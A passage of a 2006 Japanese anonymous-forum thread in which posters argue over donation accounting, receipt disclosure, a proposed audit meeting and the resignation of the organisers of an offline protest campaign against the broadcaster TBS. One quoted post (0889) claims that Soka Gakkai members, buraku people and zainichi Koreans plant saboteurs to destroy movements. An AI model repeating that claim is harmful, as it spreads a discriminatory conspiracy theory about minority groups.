結果論としてなら、なんとでも問題の指摘はできます。「たら」「れば」で言うなら、いくらでも言える。
そのようなことをして、一体　何になるのか？　過ぎたことを、ほじくり出して晒して、今さら何になるのか？　
それを考えれば、あまり得策じゃないと思いましたから、あのような「制裁案」を提案しました。

今後、どうすれば良いのか？　それを検討模索するしかありません。
だけど、疑惑解明が先決！ と主張され、やたらｲﾗﾈ氏に質問して、それに答えないからとの理由で、
また同じ質問を　何度も繰り返す。ｲﾗﾈ氏の回答が、質問した側が納得できるまで、質問攻めを繰り返す。
そんなこと、延々とやって、じゃあ　誰が喜ぶのか？ を考えれば、普通に分かりそうなもんですが・・・

ｲﾗﾈ氏も答えられるなら、とっくに答えているでしょう。答えられないから、答えない。
だけど、質問を繰り返す。だから、スレがどんどん荒んでいく。
その結果、このスレだけでなく、OFF板そのものまでに悪影響を及ぼしかねない。
それが彼らの「真の狙い」と昨夜は書きました。

このような、嫌な流れを　既定のもの　とされてしまい、さらに増幅させられたら、修復は難しい。
不特定多数の人達の「信頼と信用」を取り戻すのは、至難の業になります。
一刻も早く、どこかで線引きをしなければならない。

ですが、そこまで言われるなら、もう　この際　いっそのこと、ｲﾗﾈ氏KN氏　2人とも退散してもらえば、いかがでしょうか？
それでスッキリすると思いますが・・・
私は、できれば　この運動を続けてもらいたいから、でも、責任は執らなければならないから、
『カンパした人、署名参加した人』に、泣いて馬謖を斬ってもらうしかない、と思いました。

「アナタ達」が納得できる方法が、2人とも追い出すことで、それで問題が解決するのでしたら、
そうされたら　良いんです。
私個人としては、そこまでは望みませんし、得策と思いませんけど、それがベストと言われるなら、
それも解決の方法と思います。私個人としては、そこまでの制裁は願いません。

なんか勘違いされてるようなので、取り急ぎカキコしました。
失礼
0811エージェント・７７４2006/08/31(木) 12:31:07ID:pEr+HmqY
予定してるスケジュールが全部終わって
引き継ぐ人間がいなければ自然に終わるんじゃないの？
別に急いで潰す理由なんか無いな。
潰れたら何かいいことでもあんのか？
0812エージェント・７７４2006/08/31(木) 12:32:17ID:Be0zgTAK
人権擁護法案を反対する運動を折れ個人で起こすが
こういう、KNとイラネみたいな、怪しいやつとは
繋がりを一切持ちたくないので、消滅してくれないかな。

だいたい、北朝鮮人権法を反対しても、可決したのを反対しても
手後れだろ、30超えた人にしては、頭悪すぎ。
0813エージェント・７７４2006/08/31(木) 12:32:47ID:zbVJWHVe
>>808
誰もオフなんて求めてないだろｗ
会計報告するなら、もちろん領収書などの関係書類も見せてくれないと
なんの意味もないて話でしょ
きちんとした会計報告をするのに妥協も何もない
0814エージェント・７７４2006/08/31(木) 12:35:10ID:b4ilIisw
http://moesou.cscblog.jp/
0815エージェント・７７４2006/08/31(木) 12:36:16ID:9kQdb+4+
>>811
さぁＴＢＳ的にはプギャーなんじゃね？
0816エージェント・７７４2006/08/31(木) 12:41:51ID:9kQdb+4+
文句ある人は監査オフに直接来たらいい？

カンパ集める時も直接手渡しだけに限定してから言えよｗｗｗ
0817エージェント・７７４2006/08/31(木) 12:43:35ID:Be0zgTAK
KNイラネとそれを支える部下さんよー
君たちは、どう言い訳をしても
２ちゃんで回覧する人間から、信頼を失なったワケだ、

KNが謹慎とか、結局やましいからだろ、
都合わるいから安全な所に籠城するなんて
オウムの麻原並みに怪しいぞ。
スレが長引いて、ちっとも解決しないだろ

アレフ化されても困るので、解散しろ
0818エージェント・７７４2006/08/31(木) 12:46:01ID:6oVdSA85
>>812
イラネとＫＮが居ないと成立しない活動の凍結だけでもいいよ。追い出さ
なくても彼らの権限が一参加者の範囲に止まるならね。

俺がしたカンパも署名もすっかり私物化された感がある。

主役が誰かちゃんとわきまえてリーダーシップ取れる者が現れない限り、
今の体制で存続することには賛同できない。
0819エージェント・７７４2006/08/31(木) 12:47:33ID:mlmqXxLi
これは特定の企業を攻撃する禁止スレです


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本当にマナーの悪い連中だ。企業恫喝してんのか？
もうプロ右翼だなｗ
0820エージェント・７７４2006/08/31(木) 12:51:17ID:aBbMhtz+
納得するかしないか決めるのは見てるほうってだけのこと。
ここまでやったんだから納得しろといくら言おうが、
見てる側は見てる側の基準で判断する。
不信を増やし続けてってるから基準も厳しくなる。

このオフは活動も、なにか言われての対応も、すべて自己満足でしかないんだよな。
納得しないほうが悪いとするなら、
少数の内輪のみで批判されながら続けることになるだけ。
0821エージェント・７７４2006/08/31(木) 12:53:17ID:eP4DGdIE
>>813
会計報告に領収書のうｐですか？
そんなの聞いたことね～な

１７万やそこらの金額でがたがた騒ぐのもどうかね～ってとこだ
レンタカーが無償で借りられたものでもない限りは
どう見ても赤字だしな
0822エージェント・７７４2006/08/31(木) 12:57:11ID:mwTQW8m/
てか見てるほうが納得するまでやり続けなきゃいけない義務なんかないと思うんだが。
何でもちっとスマートにいけないの？
暇なの？

まぁ普通領収書は帳簿に記載された後は他で保管して終わりだな。
会社とかの会計報告知らない奴ばっかなのか？
0823エージェント・７７４2006/08/31(木) 12:57:33ID:zbVJWHVe
>>821
普通の会計報告には会計士などの責任をとれる第三者がやるからね
そりゃ普通は言わないよｗ
赤字だからいいじゃんてことかな？
赤字でも黒字でも会計をきちんとするのは普通なんで問題外
0824エージェント・７７４2006/08/31(木) 12:58:37ID:9kQdb+4+
>>821-822
冗談はＫＮだけにしてくださいよｗ
0825エージェント・７７４2006/08/31(木) 12:59:35ID:Qv/dvPNx
自業自徳　因果応報　天に唾する
まだあったっけ
0826エージェント・７７４2006/08/31(木) 13:01:28ID:6oVdSA85
不誠実な名無し反論もループの一因なんだがなぁ
0827エージェント・７７４2006/08/31(木) 13:01:36ID:mwTQW8m/
や、だからここってオフだよな？
何で参加してもいない、協力してもいない奴が
納得するまで会計報告しなきゃいけないの？
誰か答えてよ。
0828エージェント・７７４2006/08/31(木) 13:02:11ID:eP4DGdIE
>>823
まぁどこで納得するかは度量の違いなんだろ～な
俺は元々懐疑派だったけどそこまでねちっこくなりたくね～だけ
0829エージェント・７７４2006/08/31(木) 13:02:34ID:aBbMhtz+
そうそう。
納得できるものがどれだけいるか、納得できないものがどれだけいるか、
今のままで納得できる者だけでやってくのを選んだんでしょ。
批判され続けながらやってきゃいい話。
0830エージェント・７７４2006/08/31(木) 13:03:50ID:9kQdb+4+
>>827
じゃあ他でやれば？
0831エージェント・７７４2006/08/31(木) 13:05:09ID:DR//mcnP
>>827
別にしなくてもいいよｗ
「お前らが勝手にカンパした金を、どう使おうが俺の勝手」
という運動に署名したいと思うやつが多数だと思うなら
0832エージェント・７７４2006/08/31(木) 13:06:57ID:mwTQW8m/
>>830
や、それ答えになってないだろ。

>>831
そんなこと言ったのか？ソースｐｌｚ
0833エージェント・７７４2006/08/31(木) 13:09:05ID:7sXoCAnU
>>832
ヒント：>>831は仮定法
思うのならに注目。
0834エージェント・７７４2006/08/31(木) 13:09:38ID:9kQdb+4+
>>832
ネラーに不満があるんだろ？出て行けばいいじゃんお前らが
主催者が自分ルールでやるのは結構だが、それが受け入れられ
ないからって駄々こねてるだけじゃん
0835エージェント・７７４2006/08/31(木) 13:09:40ID:DR//mcnP
>>358
こんな「監査オフ」に参加する「一般」の人がいると思うの？
団体のお仲間同士で「会計あってましたー」で終わらせるに決まってるじゃんｗ
0836エージェント・７７４2006/08/31(木) 13:09:42ID:6oVdSA85
こんな罵り合いで失われた信頼は戻らんよ。
0837エージェント・７７４2006/08/31(木) 13:12:29ID:7sXoCAnU
ごめん。仮定法というのは適切ではなかったｗ
0838エージェント・７７４2006/08/31(木) 13:13:01ID:mwTQW8m/
>>833
や、その仮定法のかかりかた間違ってるだろ。

>>834
ねらーにって俺もお前もねらーだろ。
俺は別にそこまではっきりさせなくてもいんじゃね？って思うけど
お前は違うんだろ？ひとくくりにすんなよ。
駄々こねてんのはどっちだよｗｗｗ
0839エージェント・７７４2006/08/31(木) 13:13:15ID:zbVJWHVe
>>827
不特定多数から集めて協力を得ているんだろ？

>何で参加してもいない、協力してもいない奴
これはどうやったらわかるの？
イラネにカンパ、署名したわけじゃないのに
イラネが勝手に決めていい理由を教えてくれ
0840エージェント・７７４2006/08/31(木) 13:14:51ID:9kQdb+4+
>>838
おまえじゃん
0841エージェント・７７４2006/08/31(木) 13:15:08ID:aBbMhtz+
＞主催者が自分ルールでやるのは結構だが、それが受け入れられ
＞ないからって駄々こねてるだけじゃん

そもそももともとからして、
自分が認められないのは自分を認めない社会が悪い、
って潜在意識が社会への不満となってオフになってる奴多いだろうからなｗ
0842エージェント・７７４2006/08/31(木) 13:18:37ID:eP4DGdIE
>>835
監査OFFっていわゆる批判派のために企画されたもんだろ？
帳簿のうｐだけじゃ納得できない奴のために限定公開しますってこと
会計士じゃない素人が書いた会計報告に疑問を持つ奴のためにやるんじゃん
その辺履き違えてないか？
0843エージェント・７７４2006/08/31(木) 13:20:32ID:DR//mcnP
ビデオ撮影された上で「納得できるよな、できるだろ」って詰問されるオフでしょｗ？
0844エージェント・７７４2006/08/31(木) 13:21:18ID:mQwJXuji
監査OFFって勝手にｲﾗﾈが言い出したことだろ？
0845エージェント・７７４2006/08/31(木) 13:22:19ID:zbVJWHVe
>>843
まさかそこには個人参加の本職がわんさかと・・・
0846エージェント・７７４2006/08/31(木) 13:23:25ID:Or9SUtM1
会計オフに参加した上で、それでお不安なら帳簿・領収書をアップするように説得しろよ。
だめだと言うならその旨をスレで暴露すればいいじゃん。
0847エージェント・７７４2006/08/31(木) 13:23:59ID:eP4DGdIE
>>844
それはしらね。金のことで批判が出てきたころに企画されたと思う。
0848エージェント・７７４2006/08/31(木) 13:25:42ID:igh01Kuy
よくもまぁ飽きずに同じような事、何度も何度も何度も書けるもんだね
お前らの仕事って何？2chに書き込む事か？
情けねー奴らだな
0849エージェント・７７４2006/08/31(木) 13:25:47ID:aBbMhtz+
批判派が納得するためにやるのに批判派が納得しないやりかたでなんでやるのかなｗ

どのやりかたがどれだけ多くの人を納得させるか、させられないか、
逆に不信を増加させるか。
主催者はやり方を選べるが、一部の人しか納得せず逆に不信を増加させるやりかた選んでるだけのこと。
このやりかたで納得しないならしかたないというなら
納得しない奴からの批判が続くだけ。
批判は自分らの選択の結果。
0850エージェント・７７４2006/08/31(木) 13:26:56ID:6oVdSA85
監査オフについては名無し同士では結論出ない。

今は、支持者がわざとこの話題の無限ループ狙ってるように見える。
0851エージェント・７７４2006/08/31(木) 13:27:26ID:mwTQW8m/
連投規制とか出た。この板過疎ってんだな。

>>839
ｲﾗﾈの独断で決めて、それをカンパ使おうってんならひでー話だな。
ほんとに独断なのか？反対派総無視ってマジか？
0852エージェント・７７４2006/08/31(木) 13:29:11ID:hZUM11uP
>>822
お前はうちのおかんのレシートかよｗ
0853エージェント・７７４2006/08/31(木) 13:34:36ID:eP4DGdIE
>>849
そんじゃ監査OFFやる意味なくなるだろ～な
会計報告だけ見て批判し続けるだけになるだろう

不信を増加させてるのは批判の書き込み（たぶん答えてる俺もだな）
0854エージェント・７７４2006/08/31(木) 13:35:06ID:DreWOS7o
カンパの使い方は一任に納得して少量カンパもしてるけど
署名鯖管理費、デモ、ビラ配り諸経費、広報車レンタルに特に文句ないよ
0855エージェント・７７４2006/08/31(木) 13:35:16ID:mwTQW8m/
>>852
もちつけ。人間がレシートなわけがない。
0856エージェント・７７４2006/08/31(木) 13:39:34ID:aBbMhtz+
>>853
そうだよ、監査オフの意味なんてないだろどこにも。あ、自己満足か。
批判の発端は運営側の不手際や不透明性。
火のないところに煙はたたず、疑惑が生じるのは運営側に原因がある。
生じた疑惑に対して自分らの論理を主張するだけで疑惑の解消をしようとしないから、
疑惑・不信がどんどん増加していく。
今も。
0857エージェント・７７４2006/08/31(木) 13:45:00ID:mwTQW8m/
要するに

運営　　カンパ集めます
　　　　　↓
その他　カンパします
　　　　　↓
運営　　カンパ集まりません
　　　　　↓
その他　カンパ不正疑惑
　　　　　↓
運営　　帳簿公開します
　　　　　↓
その他　帳簿だけじゃダメだ、レシートを見せろ
　　　　　↓
運営　　監査オフのときに見せるので来てください
　　　　　↓
その他　オフに行けない奴はどうするんだ
　　　　　↓
運営　　しょうがないです
　　　　　↓
その他　しょうがないとはなんだ！レシートうｐしろ！


ってことか？
修正あったらよろ
0858エージェント・７７４2006/08/31(木) 13:45:49ID:eP4DGdIE
>>856
まぁ俺は別に運営側を擁護してるわけじゃないからね
妥協案があるんならそれで収めようってとこ
うだうだやってても先に進まないからな
正直、主旨には賛同してるけど主催はだめだめだからな
0859エージェント・７７４2006/08/31(木) 13:46:25ID:DreWOS7o
>>856
火のないところには放火するアジアの放火魔と呼ばれてる新聞はあるねｗ
火のないところに煙はたたずの反論ってだけで別の意味はないよ
0860エージェント・７７４2006/08/31(木) 13:48:23ID:mQwJXuji
監査OFFの後が容易に想像出来るな

１．OFF出席者から監査のｇｄｇｄっぷりが伝わる
２．通帳、領収書うｐの声
３．ｲﾗﾈ「OFF来れば見したのに、今さらウルセー」
４．スレは混沌
５．ｲﾗﾈの活動終了宣言、そして失踪
0861エージェント・７７４2006/08/31(木) 13:50:44ID:6oVdSA85
>>798
泥沼必至の監査OFFネタで消耗戦に誘い込むとは運営もやりますねw
0862エージェント・７７４2006/08/31(木) 13:52:30ID:aBbMhtz+
まあ最初の火なんてたいしたもんじゃなかっただろ。たぶん。
多少利益得ようが、最初から公開するなりばれた時点で誠実に謝るなりすれば、
批判する者は０にならなくても、がんばってんだからそのくらいいいよって奴も多かったはず。

けどできるだけ隠そうとする。ばれても開き直る。
そうして運営側が火を煽ってる。
オープンにするのを拒否し続けるから
火種は実は思ってるより大きいんじゃないかと当然疑われる。
0863エージェント・７７４2006/08/31(木) 13:56:20ID:mwTQW8m/
利益得ようって、赤字じゃなかったっけ？
あの後集まったのか？すげーな。
デモの後特に見てなかったんだが、何かあったのか？
0864エージェント・７７４2006/08/31(木) 13:58:32ID:9kQdb+4+
>>857
テンプレ化推奨だな
0865エージェント・７７４2006/08/31(木) 13:58:43ID:mQwJXuji
赤字になってれば、みんな募金してくれるとでも思ってたのかね？
0866エージェント・７７４2006/08/31(木) 14:01:51ID:9kQdb+4+
>>865
同情カンパ狙いと惑払拭の一石二鳥作戦じゃね？
0867エージェント・７７４2006/08/31(木) 14:02:02ID:7sXoCAnU
>>863
赤字なのに何で街宣車を借りるの？
と思う人もいると思うよ。
普通にお金がなければ、その範囲内でやれば？
と
思うけどね。選挙じゃないんだからｗ
0868エージェント・７７４2006/08/31(木) 14:04:39ID:aBbMhtz+
利益を報酬、着服、横領、拝借など別の言葉に変えても同じ。
0869エージェント・７７４2006/08/31(木) 14:04:51ID:mwTQW8m/
>>867
確かに金がないのに金使うのは結構冒険だよな。
で、今も赤字なのか？
じゃあその赤字を埋めてるのは誰？
まさか消費者金融にでも借りて・・・
0870エージェント・７７４2006/08/31(木) 14:05:27ID:DreWOS7o
>>865
思うよ　赤字を前線で行動してる人たちが負担なんて状況は避けたい
0871エージェント・７７４2006/08/31(木) 14:05:50ID:eP4DGdIE
>>862
ああ、その辺は俺も同じだな。
火種は小さいうちに消さなきゃならないってのはある。
本来賛同を得られるはずの奴らまで敵にしちまったしな

これまでの活動で批判派の攻撃パターンを知っていたはず
ただ知っていただけでそれを回避する術を学んでいなかったってことになると
それこそ主催はアホだったってことになる
0872エージェント・７７４2006/08/31(木) 14:13:58ID:9kQdb+4+
そもそも赤字かどうかわからないし
0873エージェント・７７４2006/08/31(木) 14:14:58ID:aBbMhtz+
未だに変わらないから
＞火種は実は思ってるより大きいんじゃないか
つまりオープンにするとまずいことがほんとはもっとあるんじゃないのか、
って可能性がでかく感じられてしまうんだがな。
0874福の神 ◆Olir...... 2006/08/31(木) 14:18:19ID:6DtMDBUg
お疲れ様です。

けが人が続出しても救援体制なしですかー？
バンド氏（ウチワ氏）、ﾄﾞｸﾛ氏など、精神的な負傷者が出てもフォローできないのでは、
これ以上支持できません。
オフの中止を要請したいです。

1.KN氏とｲﾗﾈ氏は活動を全部休止して下さい。
2.質問に対して誠実に答えて下さい。
3.鳥取を含む、KN氏とイラネ氏が関与したオフ全てのカンパ収支を、正式に報告して下さい。
監査オフではなく税理士等に頼んで下さい。
費用はかかりますが、訴訟になったりするよりはいいと思います。
（監査オフで質問が続出して一日で終わらない場合、何日もやることになります。
ＴＢＳの人が監査オフに来る可能性もあります。）
4.残務整理をしてＴＢＳオフと日経オフを終了させ、潔く退陣して下さい。

お二人が失った信用を取り戻すには、それしかないと思います。
忙し過ぎて、スレに来てる人達と満足に話せないような状態で、
これ以上続けても、消耗するだけです。

以上です。
0875エージェント・７７４2006/08/31(木) 14:22:01ID:mwTQW8m/
退陣とか出陣とか・・・

ここでやってるのは「オフ」なのか「運動」なのかまずはっきりさせたほうがよくないか？
0876エージェント・７７４2006/08/31(木) 14:24:44ID:MRj5FBMq
>>874
ヤダヤダ！>>860みたいになんなきゃヤダｗｗｗｗｗｗｗｗｗｗｗｗ
0877エージェント・７７４2006/08/31(木) 14:27:05ID:eP4DGdIE
>>875
運動じゃね？元は「パワーアップ国民運動」の一コンテンツだし
0878エージェント・７７４2006/08/31(木) 14:28:24ID:mwTQW8m/
>>877
鯖借りてるだけじゃねーの？
0879エージェント・７７４2006/08/31(木) 14:29:48ID:eP4DGdIE
>>878
そうなんか。え？じゃあただのお遊びOFF？
0880エージェント・７７４2006/08/31(木) 14:31:51ID:aBbMhtz+
やってることは運動
責任感はオフ
だろ
0881エージェント・７７４2006/08/31(木) 14:39:09ID:clMYLil2
ＯＦＦ的に何の問題もないからな
署名も一度提出してるし
ここが荒れてバカがファビョるのはいつものことだｗ
蚊帳の外で騒いでるのに構う必要なしｍ９(^Д^)　ﾌﾟｷﾞｬｰ
0882エージェント・７７４2006/08/31(木) 14:41:11ID:EfVEGlb9
納得できないコは　訴えちゃったら？

そうしなよ　
0883エージェント・７７４2006/08/31(木) 14:45:05ID:npsDQ0Dg
放送の業界にいるからわかるけど、放送免許剥奪なんて
誇大妄想でしかないよ。
そんな無茶な目的のために、カンパなんかさせて運動するのがそもそもの間違い。

もっと現実的な目的で動くべきだったんじゃないかな？
0884エージェント・７７４2006/08/31(木) 14:53:54ID:DR//mcnP
団体に勧誘という現実的目的ですｗ
0885エージェント・７７４2006/08/31(木) 14:58:03ID:mwTQW8m/
や、オフってそもそも目的達成のためにベストをつくすんじゃなくて
目的のために何かする、って感じじゃないのか？
うまくいえないけど、プロ化させるような名無しやコテがいて怖いんだが
0886エージェント・７７４2006/08/31(木) 15:01:46ID:9kQdb+4+
>>885
名無しの君には関係ないんじゃね？怖い？？？
0887エージェント・７７４2006/08/31(木) 15:06:10ID:mwTQW8m/
>>886
不気味じゃん
プロ混じってそうで。
ｲﾗﾈやKNはある意味オープンだからいいけど名無しにプロが混じってるんだぜ？
>>883みたいに放送業界に～とか名乗ってくれればいいんだけど
なんとなくプロ市民くさい書き込みが多くてこえぇ。
気のせいかな？
0888エージェント・７７４2006/08/31(木) 15:06:30ID:aBbMhtz+
オフって名目で逃げてるだけで
問題はやってることだけどな

たとえばオフって名目で商売すれば
オフの責任しか問われないなんてことはない
0889エージェント・７７４2006/08/31(木) 15:11:05ID:nW2e6+XO
113 ：エージェント・７７４ ：2006/08/31(木) 11:15 ID:WtuXn9Ym
創価学会員の内部破壊工作に気をつけてくださいね
賛同者・ボランティア等を装い近付き潜入し、巧みに小さないざこざをを起こし
使い込み・持ち出し等金銭トラブルを起こし
お互いの不信感を大きくさせ
すべてをぶち壊す
それが同和・在日・創価学会の手法です
年齢・性別等いろいろなタイプの工作員が用意されていますよ
0890エージェント・７７４2006/08/31(木) 15:14:59ID:hZUM11uP
>>870
それを利用してるんだね君らは
0891エージェント・７７４2006/08/31(木) 15:15:50ID:Qv/dvPNx
ｲﾗﾈが要らないと言うのが大半だろ
0892エージェント・７７４2006/08/31(木) 15:16:46ID:Q3Qpw5PR
>>887
>なんとなくプロ市民くさい書き込みが多くてこえぇ。
>気のせいかな？


>>810
>今後、どうすれば良いのか？　それを検討模索するしかありません。
>だけど、疑惑解明が先決！ と主張され、やたらｲﾗﾈ氏に質問して、それに答えないからとの理由で、
>また同じ質問を　何度も繰り返す。

>ｲﾗﾈ氏の回答が、質問した側が納得できるまで、質問攻めを繰り返す。
>そんなこと、延々とやって、じゃあ　誰が喜ぶのか？ を考えれば、普通に分かりそうなもんですが・・・

>ｲﾗﾈ氏も答えられるなら、とっくに答えているでしょう。答えられないから、答えない。
>だけど、質問を繰り返す。だから、スレがどんどん荒んでいく。
>その結果、このスレだけでなく、OFF板そのものまでに悪影響を及ぼしかねない。

>それが彼らの「真の狙い」と昨夜は書きました。
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

0893エージェント・７７４2006/08/31(木) 15:21:58ID:DreWOS7o
>>890
君らって誰？
0894エージェント・７７４2006/08/31(木) 15:22:02ID:mwTQW8m/
>>892
つまり>>810はプロ市民だってことか？
0895エージェント・７７４2006/08/31(木) 15:26:21ID:Q3Qpw5PR
>>894
　↑
お勧めコース　　⇒　　半年ROM　
0896エージェント・７７４2006/08/31(木) 15:27:08ID:hZUM11uP
>>893
>>870はそういう意味の発言したんだろ
0897エージェント・７７４2006/08/31(木) 15:27:48ID:eP4DGdIE
要約

運営　　署名集めます
　　　　　↓
その他　（怪しいけど）署名します、ガンガレ！
　　　　　↓
運営　　カンパ集めます
　　　　　↓
その他　（え？カンパ？う～ん・・・怪しいけど）カンパします
　　　　　↓
運営　　過去に実績あるから街宣車使います
　　　　　↓
その他　（ぶっ！街宣車ｗｗｗ？）疑問だが、実績あるならまぁいいか・・・
　　　　　↓
運営　　デモやりました、プロの方も来て大成功です
　　　　　↓
その他　おいおい！プロ参加って、どうなってんだ！？しかも成功ってｗｗｗ
　　　　　↓
運営　　署名集まりません
　　　　　↓
その他　当たり前だ！お前ら胡散臭せーぞｗｗｗ！？
　　　　　↓
運営　　カンパ集まりません
　　　　　↓
その他　信頼できねー奴にカンパできるか！
　　　　　↓
運営　　帳簿公開します
　　　　　↓
その他　帳簿だけじゃダメだ、レシートを見せろ！
　　　　　↓
運営　　監査オフのときに見せるので来てください
　　　　　↓
その他　オフに行けない奴はどうするんだ？
　　　　　↓
運営　　しょうがないです
　　　　　↓
その他　しょうがないとはなんだ！レシートうｐしろ！！

修正あったらよろ
0898エージェント・７７４2006/08/31(木) 15:32:53ID:DreWOS7o
>>896
よくわからないどんな勢力を指して君らと言ったの？
0899エージェント・７７４2006/08/31(木) 15:34:29ID:VSYoaIco
イラネ氏・KN氏へ

我らがチャンネル桜の論客、クライン孝子女史が
以下のような意見をblogにお書きになりました。

■2006/08/31 (木) NHKに巣くう団塊世代サヨク偏向放送って？
http://www2.diary.ne.jp/user/119209/#1157001745

これは間違いなくクライン女史がお二人に宛てたメッセージです。
一日も早くNHK放送免許剥奪オフを立ち上げるよう、お願いいたします。
大した協力はできませんが、同オフが動き出した暁には
夏のボーナスから30万円ほど支援カンパをさせていただきます。


0900応援してる2006/08/31(木) 15:36:26ID:8mqc6jd2
責任ってのは賛同者や協力者のために初志を貫徹して活動を全うして貰うこと

終わらせたり、追い出したりされたら、カンパして応援したものとしていい迷惑
まずはＴＢＳへの抗議をちゃんと完遂してくれ

こういうのに協力するって事は自己責任で信じてやってるんだよ
途中で止められたらそれこそ無責任だよ
本末転倒もいいところ

活動やめるのが責任とか言ってる奴は何言ってんだと
0901エージェント・７７４2006/08/31(木) 15:38:59ID:6oVdSA85
カンパも署名もしたけど、今すぐやめて欲しい。
0902エージェント・７７４2006/08/31(木) 15:40:31ID:X6unNfwf
なんで通帳と領収書のうpできないんだろうねー。
通帳にしろ領収書にしろ相手の名前を隠しときゃいいだけなのになあ。
それに監査Offやっても会計が解る人間がいなきゃ素人の判断じゃ意味無いでしょ。
それならネットで公開したほうが、会計が解る人も多人数で監査できて有益じゃん。
法的にどうかはともかく君らの金じゃないんだがなあw
0903エージェント・７７４2006/08/31(木) 15:41:20ID:Or9SUtM1
カンパも署名もしてないけど、頑張って続けて欲しい。
0904エージェント・７７４2006/08/31(木) 15:46:22ID:usH9Xi3g

もう、お祭り終わったんだし、ここ荒らしてるの、ν速民じゃないだろう？ｗ
0905エージェント・７７４2006/08/31(木) 15:46:26ID:DreWOS7o
>>899
NHKには受信料不払いで対抗って手があるね
これを広めたほうがいい　NHKはなぜか左右から不払いされてるｗ
0906エージェント・７７４2006/08/31(木) 15:46:43ID:6oVdSA85
>>903
まず協力してやれw
一緒に後悔しようぜ
0907エージェント・７７４2006/08/31(木) 15:46:44ID:9kQdb+4+
>>900
別に他のオフも投げっぱなしだし

いまさら投げっぱなしが一つ増えても

大した問題じゃなくね？
0908応援してる2006/08/31(木) 15:48:29ID:8mqc6jd2
詐欺ってのは掲げた目的を完遂しない事

グダグダだから止めて欲しいとかじゃない
やらなきゃダメ
止めたらそれこそ詐欺なんだよ
止めさせようとしてる奴はズレてる

ちゃんと続けて活動の目的を全うするのが責任
カンパもする
がんばってくれ
0909エージェント・７７４2006/08/31(木) 15:49:43ID:DreWOS7o
>>906
ちびまるこのお姉さんが人生は後悔の繰り返しだって言ってたよｗ
0910エージェント・７７４2006/08/31(木) 15:51:14ID:hZUM11uP
>>899
当然ですよね
NHKのが一等地に構えて無駄遣いしてる馬鹿放送局なのに
なんで抗議オフしないのか分からないね。
0911エージェント・７７４2006/08/31(木) 15:52:37ID:gdqv3Z4e
ここは総務省と自民党にメディアの言論弾圧を依頼しているスレ。
TBS騒動のどさくさ紛れに全てのメディアを攻撃しようとしている。
早くやめてください。
0912エージェント・７７４2006/08/31(木) 15:53:10ID:usH9Xi3g

ID:9kQdb+4+　ID:6oVdSA85

おまいら必死だなｗ
何で、お祭り終わったのに、まだ粘着してんの？　不思議だねーｗ
0913エージェント・７７４2006/08/31(木) 15:54:54ID:9kQdb+4+
>>912
ん？なんだ活動終わったのか？
0914エージェント・７７４2006/08/31(木) 15:55:43ID:DreWOS7o
>>910
受信料義務化されたら何かしらのアクションが起きると予想
それまでは不払い活動を広めればいいよ
0915エージェント・７７４2006/08/31(木) 15:56:51ID:6oVdSA85
>>912
せっかくだから祭りの終了宣言と総括頼むわ。
0916エージェント・７７４2006/08/31(木) 15:57:53ID:Or9SUtM1
NHK放送免許剥奪ってのは、それはそれで面白そうだな。
0917エージェント・７７４2006/08/31(木) 15:58:08ID:ZqX3DDCF
>>914
義務化されるの？
0918エージェント・７７４2006/08/31(木) 15:58:52ID:Or9SUtM1
つーか、すでに義務じゃなかったっけ？
強制できないだけで。
0919エージェント・７７４2006/08/31(木) 15:59:37ID:ZqX3DDCF
>>918
そうだったんだ。知らんかったorz
0920エージェント・７７４2006/08/31(木) 15:59:41ID:hZUM11uP
　 　　ヽ}　＼:ﾄ､_ｙ;ｨ",孑=ｧﾒﾐ､::::::i:i:::|〈jf'ﾉ::::::{　　黙って署名とカンパだしてりゃいいんだよ
　　　　 ,,≧_､＼_{ト　　　　'^〃 ｀ヾ从::!´ｒﾍ::ヾ　　使えねえなまったく、糞ブロガーと糞VIPPERは
　　　　｛　　　7厂ミｭ　__／　　　 } } }ﾘ　 ﾐ::::ヾ　　 あ、次安部首相反対オフ開催するから、
　　 　　 ヾ､ 　＾） 　 ￣´ 　 　 　 　 /ｉ　　 ﾏ　　　 アホどもヨロ
0921エージェント・７７４2006/08/31(木) 15:59:45ID:8mqc6jd2
>>917
義務って言うか罰則がつくとかなんとか
で、金の使い道は相変わらず意味不明なまま

公共放送という性格を考えるとＴＢＳよりも更に悪質だな
0922エージェント・７７４2006/08/31(木) 16:00:56ID:DreWOS7o
>>917
まだ議論中じゃないかな
義務化というより罰則規定を作る話か
0923エージェント・７７４2006/08/31(木) 16:02:02ID:VSYoaIco
>>910,914
そんなことじゃ甘過ぎます。
今すぐにオフを立ち上げてもらって
署名目標は少なくとも2ちゃんユーザー数に相当する200万人。
カンパ金額も鳥取オフよりひと桁アップの5000万を目指して動くべきです。
街宣車も各都道府県に1台は必要だし、そうなるとドライバー人件費だけで
8000円×47=37万6千円が毎日かかるわけだから。
0924エージェント・７７４2006/08/31(木) 16:02:25ID:ZqX3DDCF
>>921-922
罰則って何様なんだろう？
0925エージェント・７７４2006/08/31(木) 16:02:29ID:k5newOWJ
>>908
いや、やめるとか一言も言ってませんので・・・
安心してください。
0926エージェント・７７４2006/08/31(木) 16:03:07ID:UNRuXLgq
>>899
それって結局プロ右翼に利用されてるって事ジャン
何だよ寄付するからオフやれってのは

ふざけるな
0927エージェント・７７４2006/08/31(木) 16:04:09ID:X6unNfwf
金の使い方がルーズなのは誰かさんと一緒だなw
0928エージェント・７７４2006/08/31(木) 16:05:43ID:Or9SUtM1
>>927
辻元清美？
0929エージェント・７７４2006/08/31(木) 16:07:00ID:3XBLv6cD
|дﾟ)　デモの結果はどうだったの？
0930エージェント・７７４2006/08/31(木) 16:08:04ID:zI89Jkij
何か分からんが阿部マンセーのスレなんですか？？
0931エージェント・７７４2006/08/31(木) 16:08:08ID:8mqc6jd2
>>924
罰則を求める姿勢もすごいぞｗ
自分達の偏った放送とか、不祥事連発とか、テレビ離れとかは全然考慮しないで

「払わないのは薄汚い貧乏人どもの悪あがきだからきつい罰が必要」

っていう態度全開ｗ
0932エージェント・７７４2006/08/31(木) 16:10:19ID:k5newOWJ
ＮＨＫの話は別スレ立ててやってください
0933エージェント・７７４2006/08/31(木) 16:12:22ID:mwTQW8m/
>>932
や、いっそここまでｇｄｇｄになったなら
TBSに限らない偏向メディア批判オフスレをこのスレから派生させてもいいんじゃないか？
オフやるとは限らないなら他の板でもいいし。
0934エージェント・７７４2006/08/31(木) 16:12:36ID:6oVdSA85
ここで培ったノウハウが継承されるんかなぁ
0935エージェント・７７４2006/08/31(木) 16:14:04ID:Q3Qpw5PR

>>810
>また同じ質問を　何度も繰り返す。
